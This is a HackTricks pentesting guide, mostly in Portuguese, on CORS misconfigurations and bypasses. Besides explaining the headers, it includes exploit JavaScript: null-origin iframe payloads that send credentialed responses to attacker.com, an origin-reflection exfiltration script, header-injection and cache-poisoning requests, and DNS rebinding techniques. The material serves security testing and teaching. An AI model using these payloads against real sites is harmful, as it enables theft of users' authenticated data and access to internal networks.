CORS - Misconfigurações & Bypass

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

What is CORS?

Cross-Origin Resource Sharing (CORS) standard permite que servidores definam quem pode acessar seus assets e quais métodos de requisição HTTP são permitidos a partir de fontes externas.

Uma política de mesma origem exige que um servidor requisitante de um recurso e o servidor que hospeda o recurso compartilhem o mesmo protocolo (por exemplo, http://), nome de domínio (por exemplo, internal-web.com) e porta (por exemplo, 80). Sob essa política, apenas páginas web do mesmo domínio e porta têm permissão para acessar os recursos.

A aplicação da política de mesma origem no contexto de http://normal-website.com/example/example.html é ilustrada da seguinte forma:

URL accessedAccess permitted?
http://normal-website.com/example/Sim: Mesmo protocolo, domínio e porta
http://normal-website.com/example2/Sim: Mesmo protocolo, domínio e porta
https://normal-website.com/example/Não: Protocolo e porta diferentes
http://en.normal-website.com/example/Não: Domínio diferente
http://www.normal-website.com/example/Não: Domínio diferente
http://normal-website.com:8080/example/Não: Porta diferente*

*Internet Explorer desconsidera o número da porta ao aplicar a política de mesma origem, permitindo assim este acesso.

Access-Control-Allow-Origin Header

Este header pode permitir múltiplas origens, um valor null, ou um curinga *. No entanto, nenhum navegador suporta múltiplas origens, e o uso do curinga * está sujeito a limitações. (O curinga deve ser usado sozinho, e seu uso juntamente com Access-Control-Allow-Credentials: true não é permitido.)

Este header é emitido por um servidor em resposta a uma requisição cross-domain por um recurso iniciada por um site, com o navegador adicionando automaticamente um header Origin.

Access-Control-Allow-Credentials Header

Por padrão, requisições cross-origin são feitas sem credenciais como cookies ou o cabeçalho Authorization. Ainda assim, um servidor cross-domain pode permitir a leitura da resposta quando credenciais são enviadas configurando o header Access-Control-Allow-Credentials para true.

Se definido como true, o navegador transmitirá credenciais (cookies, cabeçalhos de autorização, ou certificados de cliente TLS).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)
fetch(url, {
credentials: "include",
})
const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight request

Entendendo Requisições Pre-flight em Comunicação entre Domínios

Ao iniciar uma requisição entre domínios sob condições específicas, como usar um método HTTP não padrão (qualquer método diferente de HEAD, GET, POST), introduzir novos headers, ou empregar um valor especial do cabeçalho Content-Type, pode ser necessária uma requisição pre-flight. Essa requisição preliminar, utilizando o método OPTIONS, serve para informar ao servidor as intenções da futura requisição cross-origin, incluindo os métodos HTTP e os headers que pretende usar.

O protocolo Cross-Origin Resource Sharing (CORS) exige essa verificação pre-flight para determinar a viabilidade da operação cross-origin solicitada, verificando os métodos permitidos, os headers e a confiabilidade da origem. Para entender detalhadamente quais condições dispensam a necessidade de uma requisição pre-flight, consulte o guia abrangente fornecido por Mozilla Developer Network (MDN).

É crucial notar que a ausência de uma requisição pre-flight não elimina a necessidade de que a resposta contenha cabeçalhos de autorização. Sem esses cabeçalhos, o navegador fica incapaz de processar a resposta da requisição cross-origin.

Considere a seguinte ilustração de uma requisição pre-flight destinada a empregar o método PUT juntamente com um header customizado chamado Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Em resposta, o servidor pode retornar cabeçalhos indicando os métodos aceitos, a origem permitida e outros detalhes da política CORS, conforme mostrado abaixo:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Este header especifica quais headers podem ser usados durante a requisição real. É definido pelo servidor para indicar os headers permitidos nas requisições vindas do cliente.
  • Access-Control-Expose-Headers: Através deste header, o servidor informa ao cliente quais headers podem ser expostos como parte da resposta, além dos headers de resposta simples.
  • Access-Control-Max-Age: Este header indica por quanto tempo os resultados de uma pre-flight request podem ser cacheados. O servidor define o tempo máximo, em segundos, que a informação retornada por uma pre-flight request pode ser reutilizada.
  • Access-Control-Request-Headers: Usado em pre-flight requests, este header é definido pelo cliente para informar ao servidor quais HTTP headers o cliente pretende usar na requisição real.
  • Access-Control-Request-Method: Este header, também usado em pre-flight requests, é definido pelo cliente para indicar qual método HTTP será usado na requisição real.
  • Origin: Este header é definido automaticamente pelo navegador e indica a origem da requisição cross-origin. É usado pelo servidor para avaliar se a requisição recebida deve ser permitida ou negada com base na política CORS.

Observe que normalmente (dependendo do content-type e dos headers definidos) em uma requisição GET/POST nenhuma pre-flight request é enviada (a requisição é enviada diretamente), mas se você quiser acessar os headers/corpo da resposta, ela deve conter um header Access-Control-Allow-Origin permitindo isso.
Portanto, CORS não protege contra CSRF (mas pode ser útil).

Pre-flight de Requisições na Rede Local

  1. Access-Control-Request-Local-Network: Este header é incluído na requisição do cliente para indicar que a consulta visa um recurso da rede local. Serve como um marcador para informar ao servidor que a requisição se origina dentro da rede local.
  2. Access-Control-Allow-Local-Network: Em resposta, os servidores utilizam este header para comunicar que o recurso requisitado pode ser compartilhado com entidades fora da rede local. Atua como um sinal verde para compartilhar recursos através de diferentes limites de rede, garantindo acesso controlado enquanto mantém protocolos de segurança.

Uma resposta válida que permita a requisição da rede local precisa também conter na resposta o header Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Warning

Observe que o Linux 0.0.0.0 IP funciona para bypass desses requisitos para acessar localhost, pois esse endereço IP não é considerado “local”.

Também é possível bypass os requisitos de Rede Local se você usar o endereço IP público de um endpoint local (como o IP público do roteador). Porque, em várias ocasiões, mesmo que o IP público esteja sendo acessado, se for da rede local, o acesso será concedido.

Coringas

Observe que, mesmo que a configuração a seguir possa parecer muito permissiva:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Isto não é permitido pelos browsers e, portanto, credentials não serão enviadas com o request que isso permitiria.

Misconfigurações exploráveis

Observou-se que a configuração de Access-Control-Allow-Credentials para true é um pré-requisito para a maioria dos ataques reais. Essa configuração permite que o browser envie credentials e leia a response, aumentando a eficácia do ataque. Sem isso, o benefício de fazer o browser emitir um request em vez de executá-lo por conta própria diminui, já que aproveitar os cookies do usuário torna-se inviável.

Exceção: Explorando a Localização de Rede como Autenticação

Existe uma exceção em que a localização de rede da vítima atua como uma forma de autenticação. Isso permite usar o browser da vítima como um proxy, contornando a autenticação baseada em IP para acessar aplicações intranet. Esse método compartilha similaridades de impacto com DNS rebinding, mas é mais simples de explorar.

Reflexão de Origin em Access-Control-Allow-Origin

O cenário real em que o valor do header Origin é refletido em Access-Control-Allow-Origin é teoricamente improvável devido às restrições sobre combinar esses headers. No entanto, desenvolvedores que buscam habilitar CORS para múltiplos URLs podem gerar dinamicamente o header Access-Control-Allow-Origin copiando o valor do header Origin. Essa abordagem pode introduzir vulnerabilidades, especialmente quando um atacante emprega um domínio com um nome projetado para parecer legítimo, enganando assim a lógica de validação.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Explorando a origem null

A origem null, especificada para situações como redirecionamentos ou arquivos HTML locais, ocupa uma posição única. Algumas aplicações colocam essa origem na whitelist para facilitar o desenvolvimento local, permitindo inadvertidamente que qualquer website imite uma origem null através de um iframe sandboxed, contornando assim as restrições do CORS.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Regular Expression Bypass Techniques

When encountering a domain whitelist, it’s crucial to test for bypass opportunities, such as appending the attacker’s domain to a whitelisted domain or exploiting subdomain takeover vulnerabilities. Additionally, expressões regulares usadas para validação de domínios may overlook nuances in domain naming conventions, presenting further bypass opportunities.

Advanced Regular Expression Bypasses

Regex patterns typically concentrate on alphanumeric, dot (.), and hyphen (-) characters, neglecting other possibilities. For example, a domain name crafted to include characters interpreted differently by browsers and regex patterns can bypass security checks. Safari, Chrome, and Firefox’s handling of underscore characters in subdomains illustrates how such discrepancies can be exploited to circumvent domain validation logic.

Para mais informações e configurações desta verificação de bypass: https://www.corben.io/advanced-cors-techniques/ and https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

A partir de XSS inside a subdomain

Developers often implement defensive mechanisms to protect against CORS exploitation by whitelisting domains that are permitted to request information. Despite these precautions, the system’s security is not foolproof. The presence of even a single vulnerable subdomain within the whitelisted domains can open the door to CORS exploitation through other vulnerabilities, such as XSS (Cross-Site Scripting).

To illustrate, consider the scenario where a domain, requester.com, is whitelisted to access resources from another domain, provider.com. The server-side configuration might look something like this:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

Nesta configuração, todos os subdomínios de requester.com têm acesso permitido. Contudo, se um subdomínio, por exemplo sub.requester.com, for comprometido com uma vulnerabilidade XSS, um atacante pode explorar essa fraqueza. Por exemplo, um atacante com acesso a sub.requester.com poderia explorar a vulnerabilidade XSS para contornar políticas CORS e acessar maliciosamente recursos em provider.com.

Special Characters

PortSwigger’s URL validation bypass cheat sheet encontrou que alguns navegadores suportam caracteres estranhos dentro de nomes de domínio.

Chrome and Firefox support underscores _ that can bypass regexes implemented to validate the Origin header:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

O Safari é ainda mais permissivo ao aceitar caracteres especiais no nome de domínio:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Outros truques engraçados de URL

URL Format Bypass

Server-side cache poisoning

A partir desta pesquisa

É possível que, ao explorar server-side cache poisoning através de HTTP header injection, uma vulnerabilidade stored Cross-Site Scripting (XSS) possa ser induzida. Esse cenário ocorre quando uma aplicação falha ao sanitizar o header Origin quanto a caracteres ilegais, criando uma vulnerabilidade particularmente para usuários do Internet Explorer e Edge. Esses navegadores tratam (0x0d) como um terminador legítimo de header HTTP, levando a vulnerabilidades de HTTP header injection.

Considere a seguinte requisição onde o header Origin é manipulado:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer e Edge interpretam a resposta como:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

While directly exploiting this vulnerability by making a web browser send a malformed header is not feasible, a crafted request can be manually generated using tools like Burp Suite. This method could lead to a server-side cache saving the response and inadvertently serving it to others. The crafted payload aims to alter the page’s character set to UTF-7, a character encoding often associated with XSS vulnerabilities due to its ability to encode characters in a way that can be executed as script in certain contexts.

For further reading on stored XSS vulnerabilities, see PortSwigger.

Nota: The exploitation of HTTP header injection vulnerabilities, particularly through server-side cache poisoning, underscores the critical importance of validating and sanitizing all user-supplied input, including HTTP headers. Always employ a robust security model that includes input validation to prevent such vulnerabilities.

Client-Side cache poisoning

From this research

In this scenario, an instance of a web page reflecting the contents of a custom HTTP header without proper encoding is observed. Specifically, the web page reflects back the contents included in a X-User-id header, which could include malicious JavaScript, as demonstrated by the example where the header contains an SVG image tag designed to execute JavaScript code on load.

Cross-Origin Resource Sharing (CORS) policies allow for the sending of custom headers. However, without the response being directly rendered by the browser due to CORS restrictions, the utility of such an injection might seem limited. The critical point arises when considering the browser’s cache behavior. If the Vary: Origin header is not specified, it becomes possible for the malicious response to be cached by the browser. Subsequently, this cached response could be rendered directly when navigating to the URL, bypassing the need for direct rendering upon the initial request. This mechanism enhances the reliability of the attack by leveraging client-side caching.

To illustrate this attack, a JavaScript example is provided, designed to be executed in the environment of a web page, such as through a JSFiddle. This script performs a simple action: it sends a request to a specified URL with a custom header containing the malicious JavaScript. Upon successful request completion, it attempts to navigate to the target URL, potentially triggering the execution of the injected script if the response has been cached without proper handling of the Vary: Origin header.

Here’s a summarized breakdown of the JavaScript used to execute this attack:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, também conhecido como Cross-Site Script Inclusion, é um tipo de vulnerabilidade que explora o fato de que a Same Origin Policy (SOP) não se aplica quando se incluem recursos usando o script tag. Isso acontece porque scripts precisam poder ser incluídos a partir de diferentes domínios. Essa vulnerabilidade permite que um atacante acesse e leia qualquer conteúdo que tenha sido incluído usando o script tag.

Essa vulnerabilidade torna-se particularmente relevante quando se trata de JavaScript dinâmico ou JSONP (JSON with Padding), especialmente quando informações de ambient-authority como cookies são usadas para autenticação. Ao requisitar um recurso de um host diferente, os cookies são incluídos, tornando-os acessíveis ao atacante.

Para entender melhor e mitigar essa vulnerabilidade, você pode usar o plugin do BurpSuite disponível em https://github.com/kapytein/jsonp. Esse plugin pode ajudar a identificar e corrigir possíveis vulnerabilidades XSSI em suas aplicações web.

Leia mais sobre os diferentes tipos de XSSI e como explorá-los aqui.

Tente adicionar um callback parameter na requisição. Talvez a página tenha sido preparada para enviar os dados como JSONP. Nesse caso a página irá retornar os dados com Content-Type: application/javascript, o que irá contornar a política CORS.

Easy (useless?) bypass

Uma forma de contornar a restrição Access-Control-Allow-Origin é pedindo que uma aplicação web faça uma requisição em seu nome e retorne a resposta. Porém, nesse cenário, as credenciais da vítima final não serão enviadas, já que a requisição é feita para um domínio diferente.

  1. CORS-escape: Essa ferramenta fornece um proxy que encaminha sua requisição juntamente com seus headers, ao mesmo tempo em que falsifica o header Origin para corresponder ao domínio requisitado. Isso efetivamente contorna a política CORS. Aqui está um exemplo de uso com XMLHttpRequest:
  2. simple-cors-escape: Essa ferramenta oferece uma abordagem alternativa para proxy de requisições. Em vez de repassar sua requisição como está, o servidor faz sua própria requisição com os parâmetros especificados.

Iframe + Popup Bypass

Você pode bypass CORS checks tais como e.origin === window.origin criando um iframe e, a partir dele, abrindo uma nova janela. Mais informações na página a seguir:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL é uma técnica usada para contornar certas medidas de segurança manipulando registros DNS. Veja como funciona:

  1. O atacante cria uma página web e faz a vítima acessá-la.
  2. O atacante então muda o DNS (IP) do próprio domínio para apontar para a página do alvo.
  3. O browser da vítima faz cache da resposta DNS, que pode ter um valor TTL (Time to Live) indicando por quanto tempo o registro DNS deve ser considerado válido.
  4. Quando o TTL expira, o browser da vítima faz uma nova requisição DNS, permitindo que o atacante execute código JavaScript na página da vítima.
  5. Ao manter o controle sobre o IP da vítima, o atacante pode coletar informações da vítima sem enviar nenhum cookie para o servidor vítima.

É importante notar que os browsers têm mecanismos de cache que podem impedir o abuso imediato dessa técnica, mesmo com valores de TTL baixos.

DNS rebinding pode ser útil para contornar checagens explícitas de IP realizadas pela vítima ou para cenários onde um usuário ou bot permanece na mesma página por um período prolongado, permitindo que o cache expire.

Se você precisar de uma forma rápida de abusar de DNS rebinding, pode usar serviços como https://lock.cmpxchg8b.com/rebinder.html.

Para executar seu próprio servidor de DNS rebinding, você pode utilizar ferramentas como DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Isso envolve expor sua porta local 53/udp, criar um registro A apontando para ela (por exemplo, ns.example.com) e criar um registro NS apontando para o subdomínio A criado anteriormente (por exemplo, ns.example.com). Qualquer subdomínio do subdomínio ns.example.com então será resolvido pelo seu host.

Você também pode explorar um servidor público em execução em http://rebind.it/singularity.html para maior compreensão e experimentação.

DNS Rebinding via DNS Cache Flooding

DNS rebinding via DNS cache flooding é outra técnica usada para contornar o mecanismo de cache dos browsers e forçar uma segunda requisição DNS. Veja como funciona:

  1. Inicialmente, quando a vítima faz uma requisição DNS, ela recebe como resposta o IP do atacante.
  2. Para contornar a defesa de cache, o atacante aproveita um service worker. O service worker inunda o cache DNS, o que efetivamente apaga o nome do servidor atacante do cache.
  3. Quando o browser da vítima faz uma segunda requisição DNS, agora ele recebe como resposta o endereço IP 127.0.0.1, que normalmente se refere ao localhost.

Ao inundar o cache DNS com o service worker, o atacante pode manipular o processo de resolução DNS e forçar o browser da vítima a fazer uma segunda requisição, desta vez resolvendo para o IP desejado pelo atacante.

DNS Rebinding via Cache

Outra forma de contornar a defesa de cache é utilizando múltiplos endereços IP para o mesmo subdomínio no provedor DNS. Veja como funciona:

  1. O atacante configura dois registros A (ou um único registro A com dois IPs) para o mesmo subdomínio no provedor DNS.
  2. Quando um browser consulta esses registros, ele recebe ambos os endereços IP.
  3. Se o browser decidir usar o IP do atacante primeiro, o atacante pode servir um payload que realiza requisições HTTP para o mesmo domínio.
  4. Porém, uma vez que o atacante obtém o IP da vítima, ele para de responder ao browser da vítima.
  5. O browser da vítima, ao perceber que o domínio não responde, passa a usar o segundo IP fornecido.
  6. Ao acessar o segundo IP, o browser contorna a Same Origin Policy (SOP), permitindo que o atacante abuse disso para coletar e exfiltrar informações.

Essa técnica explora o comportamento dos browsers quando múltiplos endereços IP são fornecidos para um domínio. Controlando estrategicamente as respostas e manipulando a escolha do IP pelo browser, um atacante pode explorar a SOP e acessar informações da vítima.

Warning

Note that in order to access localhost you should try to rebind 127.0.0.1 in Windows and 0.0.0.0 in linux.
Providers such as godaddy or cloudflare didn’t allow me to use the ip 0.0.0.0, but AWS route53 allowed me to create one A record with 2 IPs being one of them “0.0.0.0”

Para mais informações você pode checar https://unit42.paloaltonetworks.com/dns-rebinding/

Other Common Bypasses

  • If internal IPs aren’t allowed, they might forgot forbidding 0.0.0.0 (works on Linux and Mac)
  • If internal IPs aren’t allowed, respond with a CNAME to localhost (works on Linux and Ma
  • If internal IPs aren’t allowed as DNS responses, you can respond CNAMEs to internal services such as www.corporate.internal.

DNS Rebidding Weaponized

You can find more information about the previous bypass techniques and how to use the following tool in the talk Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin is a tool to perform DNS rebinding attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine’s IP address and to serve attack payloads to exploit vulnerable software on the target machine.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH simply tunnels the classic RFC1035 DNS wire format inside HTTPS (usually a POST with Content-Type: application/dns-message). The resolver still answers with the same resource records, so SOP-breaking techniques continue to work even when browsers resolve the attacker-controlled hostname via TLS.

Key observations

  • Chrome (Windows/macOS) and Firefox (Linux) successfully rebind when configured for Cloudflare, Google, or OpenDNS DoH resolvers. Transport encryption neither delays nor blocks the attack-flow for first-then-second, multiple-answers, or DNS cache flooding strategies.
  • Public resolvers still see every query, but they rarely enforce the host-to-IP mapping a browser must honor. Once the authoritative server returns the rebinding sequence, the browser keeps the original origin tuple while connecting to the new IP.

Singularity strategies and timing over DoH

  • First-then-second remains the most reliable option: the first lookup returns the attacker IP that serves the payload, every later lookup returns the internal/localhost IP. With typical browser DNS caches this flips traffic in ~40–60 seconds, even when the recursive resolver is only reachable over HTTPS.
  • Multiple answers (fast rebinding) still reaches localhost in <3 seconds by answering with two A records (attacker IP + 0.0.0.0 on Linux/macOS or 127.0.0.1 on Windows) and programmatically blackholing the first IP (for example, iptables -I OUTPUT -d <attacker_ip> -j DROP) shortly after the page loads. Firefox’s DoH implementation may emit repeated DNS queries, so the Singularity fix is to schedule the firewall rule relative to the first query timestamp instead of refreshing the timer on every query.

Beating “rebind protection” in DoH providers

  • Some providers (e.g., NextDNS) replace private/loopback answers with 0.0.0.0, but Linux and macOS happily route that destination to local services. Intentionally returning 0.0.0.0 as the second record therefore still pivots the origin to localhost.
  • Filtering only the direct A/AAAA response is ineffective: returning a CNAME to an internal-only hostname makes the public DoH resolver forward the alias while browsers such as Firefox fall back to the system DNS for the internal zone, completing the resolution to a private IP that is still treated as the attacker origin.

Browser-specific DoH behavior

  • Firefox DoH operates in fallback mode: any DoH failure (including an unresolved CNAME target) triggers a plaintext lookup via the OS resolver, which is typically an enterprise DNS server that knows the internal namespace. This behavior is what makes the CNAME bypass reliable inside corporate networks.
  • Chrome DoH only activates when the OS DNS points to a whitelisted DoH-capable recursive resolver (Cloudflare, Google, Quad9, etc.) and does not provide the same fallback chain. Internal hostnames that only exist on corporate DNS therefore fail to resolve, but rebinding toward localhost or any routable address still succeeds because the attacker controls the entire response set.

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS and provide the DoH endpoint (Cloudflare and NextDNS are built in). Chrome/Chromium: enable chrome://flags/#dns-over-https and configure the OS DNS servers to one of Chrome’s supported resolvers (e.g., 1.1.1.1/1.0.0.1).
  • You can query public DoH APIs directly, e.g. curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq to confirm the exact records browsers will cache.
  • Intercepting DoH in Burp/ZAP still works because it is just HTTPS (binary DNS payload in the body). For packet-level inspection, export TLS keys (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) before launching the browser and let Wireshark decrypt the DoH sessions with the dns display filter to see when the browser stays on DoH or falls back to classic DNS.

Real Protection against DNS Rebinding

  • Use TLS in internal services
  • Request authentication to access data
  • Validate the Host header
  • https://wicg.github.io/private-network-access/: Proposal to always send a pre-flight request when public servers want to access internal servers

Tools

Fuzz possible misconfigurations in CORS policies

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks